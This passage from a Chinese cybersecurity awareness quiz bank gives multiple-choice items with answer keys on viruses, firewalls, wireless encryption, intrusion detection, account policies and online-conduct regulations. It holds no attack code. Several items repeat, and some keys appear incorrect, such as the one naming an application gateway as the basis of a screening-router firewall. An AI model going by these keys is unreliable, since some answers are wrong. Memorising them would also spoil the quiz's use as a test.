<p>C、 更新发布程序</p>
<p>D、 补丁</p>
<p>标准答案： D</p>
<p>5、秘密地将自己添加到文档或程序等宿主上，当文档被打开或程序被执行时执行的程序，称作______。</p>
<p>A、 病毒</p>
<p>B、 蠕虫</p>
<p>C、 Rootkit</p>
<p>D、 木马</p>
<p>标准答案： A</p>
<p>6、病毒通常修改目标程序的（）字段达到获得控制权的目的。</p>
<p>A、 ImageBase</p>
<p>B、 PointerToRawData</p>
<p>C、 PointerToSymbleTable</p>
<p>D、 AddressOfEntryPoint</p>
<p>标准答案： D</p>
<p>7、在以下反病毒对抗技术中，________技术是目前绝大部分反病毒软件必须具备的最核心的技术之一。</p>
<p>A、 特征码检测</p>
<p>B、 启发式扫描</p>
<p>C、 虚拟机</p>
<p>D、 主动防御</p>
<p>标准答案： A</p>
<p>8、远程控制型木马与远程管理软件之间的最大区别在于_________。</p>
<p>A、 是否可以传播</p>
<p>B、 是否存在变种</p>
<p>C、 是否为独立的程序</p>
<p>D、 是否获得被控制端授权</p>
<p>标准答案： D</p>
<p>9、熊猫烧香病毒采用了捆绑式感染，其缺陷是被感染程序的图标会发生变化。如果让被感染程序的图标保持不变，则需要修改目标程序的（）。</p>
<p>A、 代码节</p>
<p>B、 数据节</p>
<p>C、 资源节</p>
<p>D、 图标节</p>
<p>标准答案： C</p>
<p>10、中央提出要大力培育____ 的“四有”中国好网民。 1.有高度的安全意识 2.有文明的网络素养 3.有守法的行为习惯 4.有必备的防护技能 5.有文明的网络礼仪</p>
<p>A、 2345</p>
<p>B、 1234</p>
<p>C、 1235</p>
<p>D、 1345</p>
<p>标准答案： B</p>
<p>11、在服务器出现故障时进行接管的服务器称作______。</p>
<p>A、 故障保护服务器</p>
<p>B、 回滚服务器</p>
<p>C、 对称服务器集群</p>
<p>D、 非对称服务器集群</p>
<p>标准答案： A</p>
<p>12、从本质上讲，计算机病毒是一种( )。</p>
<p>A、 细菌</p>
<p>B、 文本</p>
<p>C、 程序</p>
<p>D、 微生物</p>
<p>标准答案： C</p>
<p>13、对社交网站上分享的内容应考虑设置“只有我的朋友”查看，这是因为______。</p>
<p>A、 社交网络上的朋友不可信</p>
<p>B、 社交网络对于谁能加入网络查看信息没有控制</p>
<p>C、 社交网络要求该选项</p>
<p>D、 攻击者不会假装成朋友</p>
<p>标准答案： B</p>
<p>14、《全国青少年网络文明公约》内容包括____。 1.要善于网上学习，不浏览不良信息。 2.要诚实友好交流，不侮辱欺诈他人。 3.要增强自护意识，不随意约会网友。 4.要维护网络安全，不破坏网络秩序。</p>
<p>A、 2345</p>
<p>B、 1245</p>
<p>C、 1235</p>
<p>D、 12345</p>
<p>标准答案： D</p>
<p>15、利用他人的个人信息来开设银行账户进行消费，然后不予还款的行为属于______</p>
<p>A、 责任窃取</p>
<p>B、 个人假冒攻击</p>
<p>C、 借贷诈骗</p>
<p>D、 身份盗用</p>
<p>标准答案： D</p>
<p>16、下列选项中除______以外都是社交网站成为网络攻击主要目标的原因。</p>
<p>A、 社交网站采用强安全措施</p>
<p>B、 社交网站包含私人用户信息</p>
<p>C、 这些网站上的用户通常容易轻信</p>
<p>D、 这些网站上可能找到生日、住址、工作历史等信息</p>
<p>标准答案： A</p>
<p>17、 根据相关规定，每年______开展国家网络安全宣传周。</p>
<p>A、 6月份</p>
<p>B、 11月份</p>
<p>C、 9月份第三周</p>
<p>D、 八月十五中秋节</p>
<p>标准答案： C</p>
<p>18、靠欺骗别人来获得安全敏感信息的方式被称作______。</p>
<p>A、 社会工程学</p>
<p>B、 魔法攻击</p>
<p>C、 暴力破解攻击</p>
<p>D、 诡计攻击</p>
<p>标准答案： A</p>
<p>19、根据《互联网上网服务营业场所管理条例》规定，中学、小学校园周围________米范围内和居民住宅楼（院）内不得设立互联网上网服务营业场所。</p>
<p>A、 200</p>
<p>B、 300</p>
<p>C、 500</p>
<p>D、 1000</p>
<p>标准答案： A</p>
<p>20、《互联网上网服务营业场所管理条例》规定，互联网上网服务营业场所经营单位____。</p>
<p>A、 可以接纳未成年人进入营业场所</p>
<p>B、 可以在成年人陪同下，接纳未成年人进入营业场所</p>
<p>C、 不得接纳未成年人进入营业场所</p>
<p>D、 可以在白天接纳未成年人进入营业场所</p>
<p>标准答案： C</p>
<p>21、遇到不良信息，可以到下列选项中除________以外的网站进行举报。</p>
<p>A、 <a rel="nofollow" href="http://12321.cn/">12321.cn</a>，电话12321</p>
<p>B、 <a rel="nofollow" href="http://12377.cn/">12377.cn</a>，电话12377</p>
<p>C、 <a rel="nofollow" href="http://www.shdf.gov.cn/">www.shdf.gov.cn</a>，电话12390</p>
<p>D、 <a rel="nofollow" href="http://12306.cn/">12306.cn</a>，电话12306</p>
<p>标准答案： D</p>
<p>22、列选项中不属于垃圾邮件过滤技术的是______。</p>
<p>A、 软件模拟技术</p>
<p>B、 贝叶斯过滤技术</p>
<p>C、 关键字过滤技术</p>
<p>D、 黑名单技术</p>
<p>标准答案： A</p>
<p>23、 对于通过邮件发送的“连环信”，应该______。</p>
<p>A、 如果是有关病毒的预防信息，应转发给尽可能多的人</p>
<p>B、 只转发给朋友</p>
<p>C、 检查真实性之后再转发</p>
<p>D、 按照处理纸质垃圾信件的方式丢弃</p>
<p>标准答案： D</p>
<p>24、对于通过邮件发送的“连环信”，应该______。</p>
<p>A、 如果是有关病毒的预防信息，应转发给尽可能多的人</p>
<p>B、 只转发给朋友</p>
<p>C、 检查真实性之后再转发</p>
<p>D、 按照处理纸质垃圾信件的方式丢弃</p>
<p>标准答案： D</p>
<p>25、将要输入到算法中进行加密的数据称作______。</p>
<p>A、 明码电文</p>
<p>B、 公开文本</p>
<p>C、 密文</p>
<p>D、 明文</p>
<p>标准答案： D</p>
<p>26、对称密码系统的加密密钥和解密密钥相同，或存在简单推导关系，因此又被称为______。</p>
<p>A、 单钥密码系统</p>
<p>B、 公／私钥密码系统</p>
<p>C、 公钥密码系统</p>
<p>D、 双钥密码系统</p>
<p>标准答案： A</p>
<p>27、撞库得手的原因是______。</p>
<p>A、 用户扫描不安全的二维码</p>
<p>B、 用户为图省事，在许多网站设置相同的用户名和口令</p>
<p>C、 用户电脑被植入木马</p>
<p>D、 用户连接不安全的无线网络导致</p>
<p>标准答案： B</p>
<p>28、在Windows系统中下列账户不是合法账户的是______</p>
<p>A、 abcABC</p>
<p>B、 abc_123</p>
<p>C、 abc123$</p>
<p>D、 abc123*</p>
<p>标准答案： D</p>
<p>29、______是位于安全网络边界之外的一个隔离网络。</p>
<p>A、 非军事区</p>
<p>B、 端口复制区</p>
<p>C、 安全网络环境</p>
<p>D、 防火墙沙盒</p>
<p>标准答案： A</p>
<p>30、网络礼仪的黄金规则是______。</p>
<p>A、 记住人的存在</p>
<p>B、 永远不惹怒朋友</p>
<p>C、 遵守所有其它的网络礼仪规则</p>
<p>D、 每条消息都包含一个笑脸</p>
<p>标准答案： A</p>
<p>31、根据相关规定，每年______开展国家网络安全宣传周。</p>
<p>A、 6月份</p>
<p>B、 11月份</p>
<p>C、 9月份第三周</p>
<p>D、 八月十五中秋节</p>
<p>标准答案： C</p>
<p>32、国家级网络安全青少年科普基地位于 ______。</p>
<p>A、 中国科技馆</p>
<p>B、 国家图书馆</p>
<p>C、 西单电影院</p>
<p>D、 首都博物馆</p>
<p>标准答案： A</p>
<p>33、《互联网上网服务营业场所管理条例》规定，互联网上网服务营业场所经营单位____。</p>
<p>A、 可以接纳未成年人进入营业场所</p>
<p>B、 可以在成年人陪同下，接纳未成年人进入营业场所</p>
<p>C、 不得接纳未成年人进入营业场所</p>
<p>D、 可以在白天接纳未成年人进入营业场所</p>
<p>标准答案： C</p>
<p>34、遇到不良信息，可以到下列选项中除________以外的网站进行举报</p>
<p>A、 <a rel="nofollow" href="http://12321.cn/">12321.cn</a>，电话12321</p>
<p>B、 <a rel="nofollow" href="http://12377.cn/">12377.cn</a>，电话12377</p>
<p>C、 <a rel="nofollow" href="http://www.shdf.gov.cn/">www.shdf.gov.cn</a>，电话12390</p>
<p>D、 <a rel="nofollow" href="http://12306.cn/">12306.cn</a>，电话12306</p>
<p>标准答案： D</p>
<p>35、《文明上网自律公约》内容包括________。 ①自觉遵纪守法，倡导社会公德，促进绿色网络建设； ②提倡自主创新，摒弃盗版剽窃，促进网络应用繁荣； ③提倡诚实守信，摒弃弄虚作假，促进网络安全可信； ④提倡人人受益，消除数字鸿沟，促进信息资源共享。</p>
<p>A、 ②③④</p>
<p>B、 ①②④</p>
<p>C、 ①②③</p>
<p>D、 ①②③④</p>
<p>标准答案： D</p>
<p>36、《全国青少年网络文明公约》内容包括____。 ①要善于网上学习，不浏览不良信息。 ②要诚实友好交流，不侮辱欺诈他人。 ③要增强自护意识，不随意约会网友。 ④要维护网络安全，不破坏网络秩序。 ○5要有益身心健康，不沉溺虚拟时空。</p>
<p>A、 2345</p>
<p>B、 1245</p>
<p>C、 1235</p>
<p>D、 12345</p>
<p>标准答案： D</p>
<p>37、中央提出要大力培育____ 的“四有”中国好网民。 ○1有高度的安全意识 ○2有文明的网络素养 ○3有守法的行为习惯 ○4有必备的防护技能 ○5有文明的网络礼仪</p>
<p>A、 2345</p>
<p>B、 1234</p>
<p>C、 1235</p>
<p>D、 1345</p>
<p>标准答案： B</p>
<p>38、计算机网络按威胁对象大体可分为两种：一是对网络中信息的威胁； 二是______</p>
<p>A、 人为破坏</p>
<p>B、 对网络中设备的威胁</p>
<p>C、 病毒威胁</p>
<p>D、 对网络人员的威胁</p>
<p>标准答案： B</p>
<p>39、Windows系统中“net share”命令的作用是（ ）</p>
<p>A、 查看本机的共享资源</p>
<p>B、 创建本机的共享资源</p>
<p>C、 删除本机的共享资源</p>
<p>D、 查看局域网内其他主机的共享资源</p>
<p>标准答案： A</p>
<p>40、当安装完Windows操作系统后，在系统盘里会出现“pagefile.sys”隐藏文件，且文件占用空间较大，此文件的作用是（</p>
<p>A、 物理内存</p>
<p>B、 EPROM</p>
<p>C、 ROM</p>
<p>D、 虚拟内存</p>
<p>标准答案： D</p>
<p>41、个人移动终端的数据保护策略，除了数据加密还有（ ）</p>
<p>A、 移动终端的数据备份与还原</p>
<p>B、 使用安全的无线接入点</p>
<p>C、 关闭WLAN功能，开启3G/4G功能</p>
<p>D、 不要使自己的移动终端成为WiFi热点</p>
<p>标准答案： A</p>
<p>42、 有一些信息安全事件是由于信息系统中多个部分共同作用造成的，人们称这类事件为“多组件事故”，应对这类安全事件最有效的方法是（ ）</p>
<p>A、 配置网络入侵检测系统以检测某些类型的违法或误用行为</p>
<p>B、 使用防病毒软件，并且保持更新为最新的病毒特征码</p>
<p>C、 将所有公共访问的服务放在网络非军事区（DMZ）</p>
<p>D、 使用集中的日志审计工具和事件关联分析软件</p>
<p>标准答案： D</p>
<p>43、从加密类型分析，当无线路由器WIFI密码安全类型为______时，最容易破解</p>
<p>A、 WPA2-PSK</p>
<p>B、 WEP</p>
<p>C、 WPA-PSK</p>
<p>D、 WPA</p>
<p>标准答案： B</p>
<p>44、WPA2的目的是______。</p>
<p>A、 通过经常修改口令来锁住无线路由器</p>
<p>B、 限制下载量</p>
<p>C、 限制用户传输量</p>
<p>D、 加密传输</p>
<p>标准答案： D</p>
<p>45、SSL协议要求建立在______协议之上。</p>
<p>A、 HTTP</p>
<p>B、 IP</p>
<p>C、 TCP</p>
<p>D、 SMTP</p>
<p>标准答案： C</p>
<p>46、 单位内部做的路由表中元素不包含（ ）</p>
<p>A、 源IP地址</p>
<p>B、 目的IP地址</p>
<p>C、 子网掩码</p>
<p>D、 下一跳地址</p>
<p>标准答案： A</p>
<p>47、某客户端采用ping命令检测网络连接故障时，发现可以ping通127.0.0.1及本机的IP地址，但无法ping通同一网段内其他工作正常的计算机的IP地址。该客户端的故障可能是（ ）</p>
<p>A、 TCP/IP协议不能正常工作</p>
<p>B、 本机网卡不能正常工作</p>
<p>C、 本机网络接口故障</p>
<p>D、 DNS服务器地址设置错误</p>
<p>标准答案： C</p>
<p>48、公司需要使用域控制器来管理，安装域控制器须具备</p>
<p>A、 操作系统版本是Windows server2008或者Windows XP</p>
<p>B、 本地磁盘至少有一个NTFS分区</p>
<p>C、 本地磁盘必须全部是NTFS分区</p>
<p>D、 有相应的DNS服务器支持</p>
<p>标准答案： B</p>
<p>49、为了降低分析，不建议使用的Internet服务是（</p>
<p>A、 web服务</p>
<p>B、 外部访问内部系统</p>
<p>C、 内部访问Internet</p>
<p>D、 FTP服务</p>
<p>标准答案： D</p>
<p>50、代理服务是指______</p>
<p>A、 需要特殊硬件，大多数服务需要专用软件</p>
<p>B、 不需要特殊硬件，大多数服务需要专用软件</p>
<p>C、 需要特殊硬件，大多数服务不需要专用软件</p>
<p>D、 不需要特殊硬件，大多数服务不需要专用软件险</p>
<p>标准答案： B</p>
<p>1、关于代理服务说法正确的是______</p>
<p>A、 代理服务允许用户“直接”访问因特网，对用户来讲是透明的</p>
<p>B、 代理服务能够弥补协议本身的缺陷</p>
<p>C、 所有服务都可以进行代理</p>
<p>D、 代理服务不适合于做日志</p>
<p>标准答案： A</p>
<p>2、下述关于IPv6论述中不正确的是（ ）</p>
<p>A、 IPV6具有高效IP包头</p>
<p>B、 IPV6增强了安全性</p>
<p>C、 IPV6地址采用64位</p>
<p>D、 IPV6采用主机地址自动配置</p>
<p>标准答案： C</p>
<p>3、IPSec不可以做到（ ）</p>
<p>A、 认证</p>
<p>B、 完整性检查</p>
<p>C、 加密</p>
<p>D、 签发证书</p>
<p>标准答案： D</p>
<p>4、网络地址转换（Network Address Translation，NAT）______。</p>
<p>A、 仅能被用于大型企业网络</p>
<p>B、 因为太复杂所以不能被用于无线网络</p>
<p>C、 将网络设备的地址对攻击者隐藏</p>
<p>D、 提供有限安全性并且已被MAC地址过滤取代</p>
<p>标准答案： C</p>
<p>5、_____是一个预先定义的电子邮件地址列表，用户可以接收来自该列表中地址的邮件。</p>
<p>A、 僵尸网络</p>
<p>B、 黑名单blacklist</p>
<p>C、 白名单whitelist</p>
<p>D、 干净列表</p>
<p>标准答案： C</p>
<p>6、 硬件防火墙常见的性能参数不包含（ ）</p>
<p>A、 吞吐量</p>
<p>B、 最大并发连接数</p>
<p>C、 每秒新建会话连接数</p>
<p>D、 背板带宽</p>
<p>标准答案： D</p>
<p>7、 通常硬件防火墙设备不包含哪种物理接口（ ）</p>
<p>A、 以太网电口</p>
<p>B、 SFP/GBIC光接口</p>
<p>C、 Console口</p>
<p>D、 AUX接口</p>
<p>标准答案： D</p>
<p>8、在一个新组建的运行正常的网络中,如果只允许内网的某些客户可以访问互联网,内网的某些服务器可以被互联网上的用户访问,要在网络中再次部署哪种设备（ ）</p>
<p>A、 防病毒过滤网关</p>
<p>B、 IDS</p>
<p>C、 流量控制设备</p>
<p>D、 防火墙</p>
<p>标准答案： D</p>
<p>9、下列说法中，关于包过滤防火墙和应用层代理防火墙的描述错误的是______。</p>
<p>A、 包过滤防火墙必须和路由器在同一个设备中实现才能够保障安全</p>
<p>B、 应用层代理防火墙能使内网用户访问常用网站的速度加快</p>
<p>C、 包过滤通常在传输层以下实现，应用层代理通常在会话层以上实现</p>
<p>D、 应用层代理防火墙能够提供用户认证</p>
<p>标准答案： A</p>
<p>10、硬件防火墙常见的性能参数不包含______</p>
<p>A、 吞吐量</p>
<p>B、 最大并发连接数</p>
<p>C、 每秒新建会话连接数</p>
<p>D、 背板带宽</p>
<p>标准答案： D</p>
<p>11、屏蔽路由器型防火墙采用的技术是基于（ ）</p>
<p>A、 数据包过滤技术</p>
<p>B、 应用网关技术</p>
<p>C、 代理服务技术</p>
<p>D、 三种技术的结合</p>
<p>标准答案： B</p>
<p>12、______可在分组到达网络边界时进行过滤，从而压制网络攻击。</p>
<p>A、 网卡适配器</p>
<p>B、 路由器</p>
<p>C、 防火墙</p>
<p>D、 网络连接存储NAS</p>
<p>标准答案： C</p>
<p>13、当发现网页被篡改或信息系统主机已被入侵，应首先（ ）</p>
<p>A、 将被攻击设备从网络中隔离出来</p>
<p>B、 立即向信息系统主管部门负责人报告</p>
<p>C、 查看利用了哪些漏洞实施的攻击</p>
<p>D、 立即恢复信息系统的正常使用</p>
<p>标准答案： A</p>
<p>14、小王是公司的网络管理员，为了监听络中存在的攻击，达到最好的监听，监听设备不应放在______</p>
<p>A、 网关</p>
<p>B、 路由器</p>
<p>C、 中继器</p>
<p>D、 防火墙</p>
<p>标准答案： C</p>
<p>15、拒绝服务攻击可能造成的危害______</p>
<p>A、 提升权限</p>
<p>B、 导致系统服务不可用</p>
<p>C、 进行挂马</p>
<p>D、 植入病毒</p>
<p>标准答案： B</p>
<p>16、入侵检测系统在进行信号分析时，一般通过三种常用的技术手段，以下哪一种不属于通常的三种技术手段（ ）</p>
<p>A、 模式匹配</p>
<p>B、 统计分析</p>
<p>C、 完整性分析</p>
<p>D、 密文分析</p>
<p>标准答案： D</p>
<p>17、 基于网络的入侵检测系统的信息源是（ ）</p>
<p>A、 系统的审计日志</p>
<p>B、 系统的行为数据</p>
<p>C、 应用程序的事务日志文件</p>
<p>D、 网络中的数据包</p>
<p>标准答案： D</p>
<p>18、以下选项中，（）不属于访问控制范畴。</p>
<p>A、 强制</p>
<p>B、 自主</p>
<p>C、 文件按名访问</p>
<p>D、 基于角色</p>
<p>标准答案： C</p>
<p>19、PDRR一般是指信息安全保障中的____等主要环节。</p>
<p>A、 策略、保护、响应、恢复</p>
<p>B、 加密、认证、保护、检测</p>
<p>C、 策略、网络攻防、密码学、备份</p>
<p>D、 保护、检测、响应、恢复</p>
<p>标准答案： D</p>
<p>20、公司为了防范内部攻击，下列选项哪个是最好的实施控制措施（ ）</p>
<p>A、 确保有全面的攻击事件响应计划</p>
<p>B、 为重要系统记录所有的用户活动</p>
<p>C、 对所有的员工或承包商进行犯罪背景检查</p>
<p>D、 根据个人工作职责需要限制访问权</p>
<p>标准答案： D</p>
<p>21、 Windows紧急修复盘不能修复下列哪个项目（ ）</p>
<p>A、 硬件兼容问题</p>
<p>B、 分区引导扇区</p>
<p>C、 启动环境</p>
<p>D、 系统文件</p>
<p>标准答案： A</p>
<p>22、匿名登录FTP服务器使用的账户名是（</p>
<p>A、 anyone</p>
<p>B、 anonymous</p>
<p>C、 everone</p>
<p>D、 guest</p>
<p>标准答案： B</p>
<p>23、在Windows系统中下列账户不是合法账户的是</p>
<p>A、 abcABC</p>
<p>B、 abc_123</p>
<p>C、 abc123$</p>
<p>D、 abc123*</p>
<p>标准答案： D</p>
<p>24、在设置域账户属性时，（ ）项策略是不能被设置的</p>
<p>A、 账户登录时间</p>
<p>B、 账户个人信息</p>
<p>C、 账户的权限</p>
<p>D、 指定账户登录域的计算机</p>
<p>标准答案： C</p>
<p>25、Windows系统中权限最高为</p>
<p>A、 administrators</p>
<p>B、 power users</p>
<p>C、 guests</p>
<p>D、 system</p>
<p>标准答案： D</p>
<p>26、 对于企业网络中划分的DMZ区域而言，正确的是（ ）</p>
<p>A、 DMZ是一个真正可信的网络部分</p>
<p>B、 DMZ网络访问控制策略决定允许或禁止进入DMZ通信</p>
<p>C、 允许外部用户访问DMZ系统上合适的服务</p>
<p>D、 以上三项都是</p>
<p>标准答案： D</p>
<p>27、当用户登录自己电脑时显示错误信息“ 网络中存在重名”，登录后应该（ ）</p>
<p>A、 打开控制面板中的“系统”工具，修改网络标识中的计算机名</p>
<p>B、 打开“本地连接”属性对话框，修改IP地址</p>
<p>C、 打开管理工具的“本地用户和组”，修改用户名</p>
<p>D、 需要重新安装操作系统</p>
<p>标准答案： A</p>
<p>28、公司为了防范内部攻击，下列选项哪个是最好的实施控制措施______</p>
<p>A、 确保有全面的攻击事件响应计划</p>
<p>B、 为重要系统记录所有的用户活动</p>
<p>C、 对所有的员工或承包商进行犯罪背景检查</p>
<p>D、 根据个人工作职责需要限制访问权</p>
<p>标准答案： D</p>
<p>29、Windows系统中权限最高为______</p>
<p>A、 administrators</p>
<p>B、 power users</p>
<p>C、 guests</p>
<p>D、 system</p>
<p>标准答案： D</p>
<p>30、在Linux系统中，修改口令策略和查看某个用户的口令策略分别是对如下哪两个文件进行操作（ ）</p>
<p>A、 /etc/login.defs和/etc/shadow</p>
<p>B、 /etc/login.defs和/etc/passwd</p>
<p>C、 /etc/passwd和/etc/shadow</p>
<p>D、 /etc/shadow和/etc/login</p>
<p>标准答案： A</p>
<p>31、可以通过配置_____来防止用户通过多次登录尝试来猜测其他人的密码</p>
<p>A、 密码策略</p>
<p>B、 账户锁定策略</p>
<p>C、 Kerberos策略</p>
<p>D、 审计策略</p>
<p>标准答案： B</p>
<p>32、无线局域网网络标准IEEE802.11的用户认证机制有( )</p>
<p>A、 Open key</p>
<p>B、 Pre-Shared Key authentication</p>
<p>C、 Shared Key authentication</p>
<p>D、 MAC authentication</p>
<p>标准答案： C</p>
<p>33、通过计算机网络给乙发消息，说其同意签定合同。随后甲反悔，不承认发过该条消息。为了防止这种情况发生，应在计算机网络中采用______。</p>
<p>A、 消息认证技术</p>
<p>B、 数据加密技术</p>
<p>C、 防火墙技术</p>
<p>D、 数字签名技术</p>
<p>标准答案： D</p>
<p>34、防止用户被冒名所欺骗的方法是______</p>
<p>A、 对信息源发方进行身份验证</p>
<p>B、 进行数据加密</p>
<p>C、 对访问网络的流量进行过滤和保护</p>
<p>D、 采用防火墙</p>
<p>标准答案： A</p>
<p>35、提供证据表明用户身份真实性的过程称作______。</p>
<p>A、 标识</p>
<p>B、 注册</p>
<p>C、 真实性验证</p>
<p>D、 身份认证</p>
<p>标准答案： D</p>
<p>36、可以被数据完整性机制防止的攻击方式是______</p>
<p>A、 假冒源地址或用户的地址欺骗攻击;</p>
<p>B、 抵赖做过信息的递交行为;</p>
<p>C、 数据中途被攻击者窃听获取;</p>
<p>D、 数据在途中被攻击者篡改或破坏</p>
<p>标准答案： D</p>
<p>37、下列概念中，不能用于身份认证的手段是______。</p>
<p>A、 限制地址和端口</p>
<p>B、 用户名和口令</p>
<p>C、 杀毒软件</p>
<p>D、 智能卡</p>
<p>标准答案： C</p>
<p>38、在一个信息系统的多级密钥体系中，主密钥应该以（）形式存在于（）中</p>
<p>A、 明文 开放环境</p>
<p>B、 密文 开放环境</p>
<p>C、 明文 安全环境</p>
<p>D、 密文 安全环境</p>
<p>标准答案： C</p>
<p>39、______的概念不完全属于安全范畴。</p>
<p>A、 可用性，机密性，权力分散</p>
<p>B、 匿名性，可生存性，入侵容忍</p>
<p>C、 可审查性，兼容性，防抵赖</p>
<p>D、 完整性，可仲裁性，抗监听</p>
<p>标准答案： C</p>
<p>40、下列选项中，与人机安全交互无关的是______。</p>
<p>A、 情绪和思维</p>
<p>B、 有线网和无线网</p>
<p>C、 声音和视频</p>
<p>D、 手势和表情</p>
<p>标准答案： B</p>
<p>41、近期有曝光，黑客可利用部分显示设备固件缺陷，修改显示信息，这破坏了信息安全的（）属性</p>
<p>A、 机密性</p>
<p>B、 完整性</p>
<p>C、 不可否认性</p>
<p>D、 可用性</p>
<p>标准答案： B</p>
<p>42、CIA三元组指的是______。</p>
<p>A、 机密性，完整性，可用性</p>
<p>B、 真实性，完整性，可控性</p>
<p>C、 机密性，真实性，可用性</p>
<p>D、 完整性，可用性，可控性</p>
<p>标准答案： A</p>
<p>43、当文件长度小于500字节时，NTFS把该文件存放在_________。</p>
<p>A、 单独的簇中</p>
<p>B、 文件目录区</p>
<p>C、 MFT中FR中</p>
<p>D、 文件的索引区</p>
<p>标准答案： C</p>
<p>44、为了便于磁盘管理，常把磁盘分为单个的小分区，把这些分区组织起来的结构为_______。</p>
<p>A、 B+树</p>
<p>B、 单向链表</p>
<p>C、 双向链表</p>
<p>D、 队列</p>
<p>标准答案： B</p>
<p>45、 计算机机房灭火使用的是（ ）</p>
<p>A、 二氧化碳</p>
<p>B、 干粉</p>
<p>C、 七氟丙烷</p>
<p>D、 水</p>
<p>标准答案： C</p>
<p>46、关于计算机机房防静电说法错误的是（ ）</p>
<p>A、 采用防静电地板；工作人员要求穿着防静电的衣服和鞋袜进入机房工作</p>
<p>B、 室内保持相对湿度允许范围为：45％一65％；计算机与地板有效接地</p>
<p>C、 安装屏蔽材料</p>
<p>D、 机房中办公设备或辅助设备材料应尽量采用产生静电少的材料制作的</p>
<p>标准答案： C</p>
<p>47、 网络准入控制主要组件不包含（ ）</p>
<p>A、 终端安全检查软件</p>
<p>B、 网络接入设备（接入交换机和无线访问点）</p>
<p>C、 策略/AAA服务器</p>
<p>D、 堡垒主机</p>
<p>标准答案： D</p>
<p>48、以下关于Windows服务器操作系统的特点，说法不正确的是（ ）</p>
<p>A、 允许在X86架构下硬件平台上安装和使用，能够支持各种网络协议和网络服务</p>
<p>B、 提供必要的网络连接支持，能够连接不同的网络</p>
<p>C、 能够进行系统安全性保护和用户存取权限的控制</p>
<p>D、 具有一定的可扩展性、可用性及易管理性</p>
<p>标准答案： D</p>
<p>49、应急事件分级的依据有哪些（ ）</p>
<p>A、 事件影响范围和业务重要程度</p>
<p>B、 应急事件类型</p>
<p>C、 应急预案启动的级别</p>
<p>D、 事件分析分析和评估</p>
<p>标准答案： A</p>
<p>50、从信息系统安全角度来看，用于IT项目的业务模板（或案例）文档应该被保留，其保留期为（ ）</p>
<p>A、 系统的生命周期结束</p>
<p>B、 项目获得批准</p>
<p>C、 用户验收</p>
<p>D、 系统被投入生产</p>
<p>标准答案： A</p>
<p>1、快照技术是一种在线方式的数据保护策略，说法错误的是（ ）</p>
<p>A、 .基于文件系统</p>
<p>B、 基于卷管理器</p>
<p>C、 基于虚拟化</p>
<p>D、 基于目录</p>
<p>标准答案： D</p>
<p>2、下面关于SSID说法错误的是（ ）</p>
<p>A、 通过对多个无线接入点AP设置不同的SSID，并要求无线工作站出示正确的SSID才能访问AP</p>
<p>B、 提供了40位和128位长度的密钥机制</p>
<p>C、 只有设置为名称相同SSID的值的电脑才能互相通信</p>
<p>D、 SSID就是一个局域网的名称</p>
<p>标准答案： C</p>
<p>3、 物联网是一种虚拟网络与现实世界实时交互的新型系统，关于特点描述错误的是（ ）</p>
<p>A、 无处不在的数据感知</p>
<p>B、 以无线为主的信息传输</p>
<p>C、 智能化的信息处理</p>
<p>D、 以物理网传输为主干网</p>
<p>标准答案： D</p>
<p>4、 关于数据备份策略的分类，说法错误的是（ ）</p>
<p>A、 按照备份的数据量可以分为完全备份、增量备份、差异备份</p>
<p>B、 完全备份所需时间最长，恢复所需时间最短</p>
<p>C、 差异备份节省了磁盘空间，但备份时间比较长</p>
<p>D、 增量备份只备份与前一次相比增加或者被修改的文件、数据</p>
<p>标准答案： C</p>
<p>5、 以下哪一项不是物联网的安全问题（ ）</p>
<p>A、 感知层安全问题</p>
<p>B、 传输层安全问题</p>
<p>C、 系统层安全问题</p>
<p>D、 应用层安全问题</p>
<p>标准答案： C</p>
<p>6、 将单位内部的局域网接入Internet（因特网）所需使用的接入设备是______。</p>
<p>A、 安全审计设备</p>
<p>B、 集线器</p>
<p>C、 路由器</p>
<p>D、 中继转发器</p>
<p>标准答案： C</p>
<p>7、下列关于Android的描述正确的是______。</p>
<p>A、 默认不支持对APP的权限进行限制，所以比iOS的安全性差</p>
<p>B、 默认不能安装配套市场以外的APP，但是经过用户授权后可以安装</p>
<p>C、 在屏幕被锁定时，默认不允许拨打任何电话号码</p>
<p>D、 即使被种植了木马，只要屏幕不解锁，木马也不能执行</p>
<p>标准答案： B</p>
<p>8、Rootkit的主要目标是______。</p>
<p>A、 隐藏其存在</p>
<p>B、 重新格式化硬盘</p>
<p>C、 复制到其他计算机</p>
<p>D、 启动僵尸网络</p>
<p>标准答案： A</p>
<p>9、计算机病毒有很多种类型，但不包括______。</p>
<p>A、 文件感染类病毒</p>
<p>B、 远程病毒</p>
<p>C、 内存驻留病毒</p>
<p>D、 引导区病毒</p>
<p>标准答案： B</p>
<p>10、钓鱼攻击具有下列选项中除了______以外的所有特点。</p>
<p>A、 欺骗性Web链接</p>
<p>B、 真实的发送方地址</p>
<p>C、 一般性的问候</p>
<p>D、 要求采取行动的紧急请求</p>
<p>标准答案： B</p>
<p>11、下列攻击行为不属于主动性攻击的是（ ）</p>
<p>A、 拒绝服务攻击（DOS）</p>
<p>B、 中间人攻击（MITM）</p>
<p>C、 网络钓鱼攻击(Phishing)</p>
<p>D、 社会工程学攻击</p>
<p>标准答案： C</p>
<p>12、下列选项中，除了______以外都是杀毒软件发现病毒时的可选项。</p>
<p>A、 清除文件中的病毒</p>
<p>B、 隔离被感染文件</p>
<p>C、 发送邮件告诉攻击者病毒已暴露</p>
<p>D、 删除包含病毒的文件</p>
<p>标准答案： C</p>
<p>13、下列设备中，可隔绝广播风暴的是______</p>
<p>A、 路由器</p>
<p>B、 MODEM</p>
<p>C、 集线器</p>
<p>D、 交换器</p>
<p>标准答案： A</p>
<p>14、关于无线局域网，下面叙述中正确的是（ ）</p>
<p>A、 802.11a 和02.11b可以在 2.4GHz 频段工作</p>
<p>B、 802.11b 和 802.11g 都可以在 2.4GHz 频段工作</p>
<p>C、 802.11a 和 802.11b 都可以在 5GHz 频段工作</p>
<p>D、 802.11b 和 802.11g 都可以在 5GHz 频段工作</p>
<p>标准答案： B</p>
<p>15、WEP协议的设计目标是：保障数据______。</p>
<p>A、 不可抵赖性</p>
<p>B、 匿名性</p>
<p>C、 抗干扰性</p>
<p>D、 完整性和机密性</p>
<p>标准答案： D</p>
<p>16、从加密类型分析，当无线路由器WIFI密码安全类型为______时，最容易破解</p>
<p>A、 WPA2-PSK</p>
<p>B、 WEP</p>
<p>C、 WPA-PSK</p>
<p>D、 WPA</p>
<p>标准答案： B</p>
<p>17、 从不同厂家购买安全产品，希望一家产品的安全失效不会影响整个系统的安全性，这是利用______来提升安全性。</p>
<p>A、 模糊性</p>
<p>B、 纵深防御</p>
<p>C、 限制性</p>
